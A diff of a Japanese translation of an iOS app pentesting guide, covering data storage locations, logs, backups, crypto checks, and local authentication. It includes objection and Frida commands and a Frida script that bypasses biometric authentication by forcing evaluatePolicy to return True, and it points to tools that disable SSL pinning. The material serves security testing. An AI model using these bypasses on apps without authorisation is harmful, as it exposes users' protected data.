@@ iOS環境では、ディレクトリは**システムアプリケーション** > > ただし、両方のフォルダ(データフォルダとコンテナフォルダ)には、`MCMetadataIdentifier`キーで両方のファイルをリンクする**`.com.apple.mobile_container_manager.metadata.plist`**ファイルがあります。 -ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下はこのコマンドの使用例です: +ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用例です: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env @@ -238,12 +235,12 @@ lsof -p | grep -i "/containers" | head -n 1 **データディレクトリ:** - **Documents/** -- ユーザー生成データをすべて含みます。アプリケーションのエンドユーザーがこのデータの作成を開始します。 +- ユーザー生成データがすべて含まれています。アプリケーションのエンドユーザーがこのデータの作成を開始します。 - ユーザーに見え、**ユーザーは書き込むことができます**。 - このディレクトリの内容は**バックアップされます**。 - アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。 - **Library/** -- **キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)構成ファイルなど、**ユーザー固有でないすべてのファイル**を含みます。 +- **ユーザー固有でない**すべての**ファイル**(**キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)設定ファイルなど)を含みます。 - iOSアプリは通常`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。 - **Library/Caches/** - **セミ永続的なキャッシュファイル**を含みます。 @@ -256,12 +253,12 @@ lsof -p | grep -i "/containers" | head -n 1 - このディレクトリの内容は**バックアップされます**。 - アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。 - **Library/Preferences/** -- アプリケーションが再起動された後でも**持続する**プロパティを保存するために使用されます。 -- 情報は、アプリケーションサンドボックス内のplistファイル\[BUNDLE_ID].plistに暗号化されずに保存されます。 +- アプリケーションが再起動された後でも**持続する**ことができるプロパティを保存するために使用されます。 +- 情報は、アプリケーションサンドボックス内の暗号化されていないplistファイル\[BUNDLE_ID].plistに保存されます。 - `NSUserDefaults`を使用して保存されたすべてのキー/値ペアはこのファイルに見つかります。 - **tmp/** - アプリの起動間で持続する必要のない**一時ファイル**を書くためにこのディレクトリを使用します。 -- 非永続的なキャッシュファイルを含みます。 +- 非永続的なキャッシュファイルが含まれています。 - **ユーザーには見えません**。 - このディレクトリの内容はバックアップされません。 - OSはアプリが実行されていないときやストレージスペースが不足しているときに、このディレクトリのファイルを自動的に削除することがあります。 @@ -360,17 +357,9 @@ double _field2; ``` しかし、バイナリを逆アセンブルするための最良のオプションは、[**Hopper**](https://www.hopperapp.com/download.html?) と [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/) です。 -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築し、自動化** します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} - ## データストレージ -iOSがデバイス内にデータをどのように保存するかについては、このページを読んでください: +iOSがデバイス内でデータをどのように保存するかについては、このページを読んでください: {{#ref}} ios-basics.md @@ -382,23 +371,23 @@ ios-basics.md ### Plist -**plist** ファイルは、**キーと値のペア**を含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、時にはこれらのファイルに**機密情報が含まれている**ことがあります。アプリをインストールした後、または集中的に使用した後にこれらのファイルを確認することをお勧めします。 +**plist**ファイルは、**キーと値のペア**を含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、時には**これらのファイルに機密情報が含まれていることがあります**。アプリをインストールした後、または集中的に使用した後にこれらのファイルを確認することをお勧めします。 -plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**を使用することです。このplistファイルは、**`Library/Preferences/.plist`** のアプリサンドボックス内に保存されます。 +plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**を使用することです。このplistファイルは、**`Library/Preferences/.plist`**のアプリサンドボックス内に保存されます。 -[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションが**ユーザーの好みに応じて**動作をカスタマイズできるようにします。`NSUserDefaults`によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは、**plist** **ファイル**に**データ**を保存しますが、小量のデータで使用することを意図しています。 +[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションが**ユーザーの好みに応じて**動作をカスタマイズできるようにします。`NSUserDefaults`によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは**plist** **ファイル**に**データ**を保存しますが、小量のデータで使用することを意図しています。 このデータは、信頼できるコンピュータを介して直接アクセスすることはできませんが、**バックアップ**を実行することでアクセスできます。 -**`NSUserDefaults`** を使用して保存された情報をダンプするには、objectionの `ios nsuserdefaults get` を使用します。 +**`NSUserDefaults`**を使用して保存された情報を**ダンプ**するには、objectionの`ios nsuserdefaults get`を使用します。 -アプリケーションによって使用されているすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}` にアクセスし、次のコマンドを実行します: +アプリケーションで使用されているすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}`にアクセスし、次のコマンドを実行します: ```bash find ./ -name "*.plist" ``` ファイルを**XMLまたはバイナリ(bplist)**形式からXMLに変換するために、オペレーティングシステムに応じたさまざまな方法が利用可能です: -**macOSユーザー向け:** `plutil`コマンドを利用します。これはmacOS(10.2以上)に組み込まれたツールで、この目的のために設計されています: +**macOSユーザー向け:** `plutil`コマンドを利用します。これはmacOS(10.2以上)に組み込まれているツールで、この目的のために設計されています: ```bash $ plutil -convert xml1 Info.plist ``` @@ -449,15 +438,15 @@ Yapデータベースはsqliteデータベースであるため、前のセク ### Other SQLite Databases -アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を**保存**しており、暗号化されていない可能性があります。したがって、アプリケーションのディレクトリ内のすべてのデータベースを確認することは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します(`/private/var/mobile/Containers/Data/Application/{APPID}`) +アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を**保存**しており、暗号化されていない可能性があります。したがって、アプリケーションディレクトリ内のすべてのデータベースを確認することは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します(`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` ### Firebase Real-Time Databases -開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホスト型データベース**を利用できます。データはJSON形式で保存され、接続されたすべてのクライアントにリアルタイムで同期されます。 +開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホストデータベース**を利用できます。データはJSON形式で保存され、接続されたすべてのクライアントにリアルタイムで同期されます。 -誤って構成されたFirebaseデータベースを確認する方法は、こちらで見つけることができます: +誤って構成されたFirebaseデータベースを確認する方法は、こちらで確認できます: {{#ref}} ../../network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -498,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S ``` ### クッキー -iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**にアプリのクッキーを保存します。しかし、開発者は時々、**バックアップでアクセスできるため**、それらを**keychain**に保存することを決定します。 +iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**にアプリのクッキーを保存します。しかし、開発者は時々、**バックアップでアクセスできるため、**クッキーを**keychain**に保存することを決定します。 クッキーファイルを検査するには、[**このpythonスクリプト**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)を使用するか、objectionの**`ios cookies get`**を使用できます。\ **また、objectionを使用して**これらのファイルをJSON形式に変換し、データを検査することもできます。 @@ -519,7 +508,7 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies` ``` ### キャッシュ -デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の**機密情報**がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/`)を開き、`/Library/Caches/`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開いて操作できます。これは**通常のSQLiteデータベース**です。 +デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の**機密情報**がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/`)を開き、`/Library/Caches/`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開き、操作できます。これは**通常のSQLiteデータベース**です。 このデータのキャッシングを**無効にすることを推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。 @@ -533,19 +522,19 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies` [Appleのドキュメント](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): -`エフェメラルセッション構成オブジェクトは、デフォルトのセッション構成(デフォルトを参照)に似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはセッション関連データをディスクに保存しません。代わりに、セッション関連データはRAMに保存されます。エフェメラルセッションがディスクにデータを書き込むのは、URLの内容をファイルに書き込むように指示したときだけです。` +`一時的なセッション構成オブジェクトは、デフォルトのセッション構成(デフォルトを参照)に似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはセッション関連データをディスクに保存しません。代わりに、セッション関連データはRAMに保存されます。一時的なセッションがディスクにデータを書き込むのは、URLの内容をファイルに書き込むように指示したときだけです。` 3. キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することでもキャッシュを無効にできます。これにより、メモリまたはディスクのいずれかにキャッシュを保存することが無効になります。 ### スナップショット -ホームボタンを押すたびに、iOSは**現在の画面のスナップショット**を取得し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**越えて****持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。 +ホームボタンを押すと、iOSは**現在の画面のスナップショットを取得**し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**超えて持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。 iPhoneが脱獄されていない限り、**攻撃者**はこれらのスクリーンショットを見るために**デバイス**に**アクセス**する必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダーに保存されます(信頼されたコンピュータはiOS 7.0以降、ファイルシステムにアクセスできません)。 この悪影響を防ぐ一つの方法は、`ApplicationDidEnterBackground()`関数を使用してスナップショットを取得する前に、空白の画面を表示するか、機密データを削除することです。 -以下は、デフォルトのスクリーンショットを設定するサンプルの修正方法です。 +以下は、デフォルトのスクリーンショットを設定するサンプル修正方法です。 Swift: ```swift @@ -577,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds; [self.backgroundImage removeFromSuperview]; } ``` -この設定は、アプリケーションがバックグラウンドに入るときに `overlayImage.png` を背景画像として設定します。これにより、`overlayImage.png` が常に現在のビューを上書きするため、機密データの漏洩を防ぎます。 +これは、アプリケーションがバックグラウンドに入るときに `overlayImage.png` を背景画像として設定します。これにより、`overlayImage.png` が常に現在のビューを上書きするため、機密データの漏洩を防ぎます。 ### Keychain @@ -585,7 +574,7 @@ iOSキーチェーンにアクセスし管理するためのツールとして #### **資格情報の保存** -**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、次のSwiftコードが使用されます: +**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、以下のSwiftコードが使用されます: ```swift NSURLCredential *credential; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; @@ -595,7 +584,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers ## **カスタムキーボードとキーボードキャッシュ** -iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能が拡張されますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ユーザーにはネットワークアクセスを必要とするキーボードについて通知されます。アプリは、機密情報の入力にカスタムキーボードの使用を制限するべきです。 +iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能を拡張しますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ユーザーにはネットワークアクセスを必要とするキーボードについて通知されます。アプリは、機密情報の入力にカスタムキーボードの使用を制限するべきです。 **セキュリティ推奨事項:** @@ -617,9 +606,9 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` ## **ログ** -コードのデバッグには、しばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリにアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。 +コードのデバッグにはしばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリがアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。 -これらの制限にもかかわらず、**ロック解除されたデバイスに物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後でも、ログはディスク上に残ることに注意が必要です。 +これらの制限にもかかわらず、**ロック解除されたデバイスに物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後でも、ログはディスクに残ることに注意が必要です。 リスクを軽減するために、**アプリと徹底的に対話し**、すべての機能や入力を探索して、機密情報が意図せずログに記録されていないことを確認することが推奨されます。 @@ -632,30 +621,20 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo; idevice_id --list # To find the device ID idevicesyslog -u (| grep ) # To capture the device logs ``` -役立ちます。さらに、**Xcode**はコンソールログを収集する方法を提供します: +役立ちます。さらに、**Xcode** はコンソールログを収集する方法を提供します: 1. Xcodeを開きます。 2. iOSデバイスを接続します。 3. **ウィンドウ** -> **デバイスとシミュレーター**に移動します。 4. デバイスを選択します。 -5. 調査している問題を引き起こします。 +5. 調査している問題をトリガーします。 6. **コンソールを開く**ボタンを使用して、新しいウィンドウでログを表示します。 より高度なログ記録のために、デバイスシェルに接続し、**socat**を使用することでリアルタイムのログ監視が可能です: ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ``` -ログ活動を観察するためのコマンドに続いており、これは問題の診断やログ内の潜在的なデータ漏洩の特定に非常に貴重です。 - ---- - -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} +ログ活動を観察するためのコマンドに続いて、これは問題の診断やログ内の潜在的なデータ漏洩を特定するのに非常に貴重です。 ## バックアップ @@ -663,17 +642,17 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ### セキュリティリスク -バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**をもたらします。これらのリスクを軽減するために、**アプリのディレクトリやそのサブディレクトリ内に機密情報をプレーンテキストで保存しない**ことが推奨されます。 +バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**をもたらします。これらのリスクを軽減するために、**機密情報をプレーンテキストで**アプリのディレクトリやそのサブディレクトリに保存しないことが推奨されます。 ### バックアップからのファイルの除外 -`Documents/`および`Library/Application Support/`内のファイルはデフォルトでバックアップされます。開発者は、`NSURL setResourceValue:forKey:error:`を使用して特定のファイルやディレクトリをバックアップから除外することができます。これは、機密データがバックアップに含まれないように保護するために重要です。 +`Documents/`および`Library/Application Support/`内のファイルはデフォルトでバックアップされます。開発者は、`NSURL setResourceValue:forKey:error:`を使用して特定のファイルやディレクトリをバックアップから除外することができます。この実践は、機密データがバックアップに含まれないように保護するために重要です。 ### 脆弱性のテスト -アプリのバックアップセキュリティを評価するには、まず**バックアップを作成**し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスを使用してそれを見つけます。バックアップ内の機密データやアプリの動作に影響を与える可能性のある設定を分析します。 +アプリのバックアップセキュリティを評価するには、まず**バックアップを作成**し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスに従ってそれを見つけます。バックアップを分析して、アプリの動作に影響を与える可能性のある機密データや設定が変更される可能性があるかを確認します。 -機密情報は、コマンドラインツールや[ iMazing](https://imazing.com)のようなアプリケーションを使用して探し出すことができます。暗号化されたバックアップの場合、バックアップのルートにある"Manifest.plist"ファイル内の"IsEncrypted"キーを確認することで、暗号化の存在を確認できます。 +機密情報は、コマンドラインツールや[ iMazing](https://imazing.com)のようなアプリケーションを使用して探し出すことができます。暗号化されたバックアップの場合、バックアップのルートにある"Manifest.plist"ファイルの"IsEncrypted"キーを確認することで、暗号化の存在を確認できます。 ```xml @@ -708,7 +687,7 @@ $ strings memory > strings.txt # Extracting strings using rabin2 $ rabin2 -ZZ memory > strings.txt ``` -より詳細な分析、特定のデータタイプやパターンの検索を含むために、**radare2**は広範な検索機能を提供します: +より詳細な分析、特定のデータタイプやパターンの検索を含む、**radare2**は広範な検索機能を提供します: ```bash $ r2 [0x00000000]> /? @@ -721,36 +700,36 @@ $ r2 $ r2 frida://usb// [0x00000000]> /\ ``` -## Broken Cryptography +## ブロークン暗号技術 -### Poor Key Management Processes +### 不適切なキー管理プロセス 一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは行うべきではなく、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があります。 -### Use of Insecure and/or Deprecated Algorithms +### 安全でないおよび/または非推奨のアルゴリズムの使用 -開発者は、**deprecated algorithms**を使用して認証**checks**を行ったり、**store**または**send**データを送信したりすべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、**hashes**を使用してパスワードを保存する場合、ソルトを使用したハッシュのブルートフォース**resistant**が必要です。 +開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。 -### Check +### チェック -主なチェックは、コード内に**hardcoded**パスワード/秘密が見つかるかどうか、またそれらが**predictable**であるかどうか、そしてコードが何らかの**weak** **cryptography**アルゴリズムを使用しているかどうかを確認することです。 +主なチェックは、コード内に**ハードコーディングされた**パスワード/秘密が見つかるか、またはそれらが**予測可能**であるか、コードが何らかの**弱い****暗号技術**アルゴリズムを使用しているかを確認することです。 -興味深いことに、**objection**を使用して、いくつかの**crypto** **libraries**を自動的に**monitor**することができます。 +自動的にいくつかの**暗号**ライブラリを**モニタリング**できることを知っておくと興味深いです。**objection**を使用して: ```swift ios monitor crypt ``` -**iOSの暗号APIとライブラリに関する詳細情報**については、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。 +**iOSの暗号化APIとライブラリに関する**詳細は、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)を参照してください。 ## ローカル認証 -**ローカル認証**は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムは回避される可能性があるということです。 +**ローカル認証**は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムが回避される可能性があるということです。 -Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に扱うための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。 +Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に処理するための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。 Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢があります: - **`LocalAuthentication.framework`**:生体データへのアクセスなしで高レベルのユーザー認証を行います。 -- **`Security.framework`**:低レベルのキーチェーンサービスへのアクセスを提供し、生体認証で秘密データを保護します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化します。 +- **`Security.framework`**:生体認証を使用して秘密データを保護するための低レベルのキーチェーンサービスへのアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)により、キーチェーンアクセスが簡素化されています。 > [!CAUTION] > ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主に認証プロセスのためにデータを送信せずにブール値を返すため、バイパスされる可能性があります(参照:[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。 @@ -766,11 +745,11 @@ Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢が ### キーチェーンを使用したローカル認証 -iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーがデバイスのパスコードまたはTouch IDなどの生体認証を使用してのみアクセスできるようになります。 +iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーのデバイスのパスコードまたはTouch IDなどの生体認証を使用してのみアクセス可能になります。 -キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードで成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。 +キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードを介して成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。 -以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。 +以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するためのアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。 {{#tabs}} {{#tab name="Swift"}} @@ -912,7 +891,7 @@ $ otool -L .app/ #### **Objection** -[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある**Objection Biometrics Bypass**を通じて、**LocalAuthentication**メカニズムを克服するための技術が利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に役立ちます。 +[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある**Objection Biometrics Bypass**を通じて、**LocalAuthentication**メカニズムを克服するための技術が利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すことを保証することです。これは、欠陥のある生体認証プロセスを回避するのに特に便利です。 このバイパスを有効にするために、次のコマンドが使用されます: ```bash @@ -923,11 +902,11 @@ $ otool -L .app/ (agent) [3mhtws9x47q] Marking OS response as True instead (agent) [3mhtws9x47q] Biometrics bypass hook complete ``` -このコマンドは、Objectionがタスクを登録し、`evaluatePolicy`チェックの結果を`True`に実質的に変更するシーケンスを開始します。 +このコマンドは、Objectionが`evaluatePolicy`チェックの結果を`True`に実質的に変更するタスクを登録する一連のプロセスを開始します。 #### Frida -**`evaluatePolicy`**の使用例は、[DVIA-v2 application](https://github.com/prateek147/DVIA-v2)からです: +[DVIA-v2アプリケーション](https://github.com/prateek147/DVIA-v2)からの**`evaluatePolicy`**の使用例: ```swift +(void)authenticateWithTouchID { LAContext *myContext = [[LAContext alloc] init]; @@ -979,7 +958,7 @@ return result; console.log("Objective-C Runtime is not available!"); } ``` -バイオメトリック認証をバイパスし、Fridaスクリプトを注入するには、次のコマンドを使用します: +Fridaスクリプトを注入し、生体認証をバイパスするには、次のコマンドを使用します: ```bash frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js ``` @@ -1044,7 +1023,7 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼 ### 証明書ピンニング アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になる可能性があります。**\ -脱獄デバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。 +脱獄したデバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。 また、**objectionの** `ios sslpinning disable`を使用することもできます。 @@ -1052,12 +1031,12 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼 - **`/System/Library`**には、システムアプリケーションによって使用されるフレームワークがインストールされています。 - App Storeからユーザーがインストールしたアプリケーションは**`/User/Applications`**内にあります。 -- **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。 +- **`/User/Library`**には、ユーザーのレベルのアプリケーションによって保存されたデータが含まれています。 - **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたノートを読むことができます。 - インストールされたアプリケーションのフォルダ内(**`/User/Applications//`**)には、いくつかの興味深いファイルがあります: - **`iTunesArtwork`**:アプリによって使用されるアイコン - **`iTunesMetadata.plist`**:App Storeで使用されるアプリの情報 -- **`/Library/*`**:設定やキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが見つかります。 +- **`/Library/*`**:設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが見つかります。 ### ホットパッチ/強制更新 @@ -1069,11 +1048,11 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼 **3rd party SDKs**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、完全にその利点を放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分でパッチすることができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。 -サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者はこれらのライブラリによって実行されるコードを完全に把握していない可能性があり、プライバシーやセキュリティのリスクが生じる可能性があります。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。 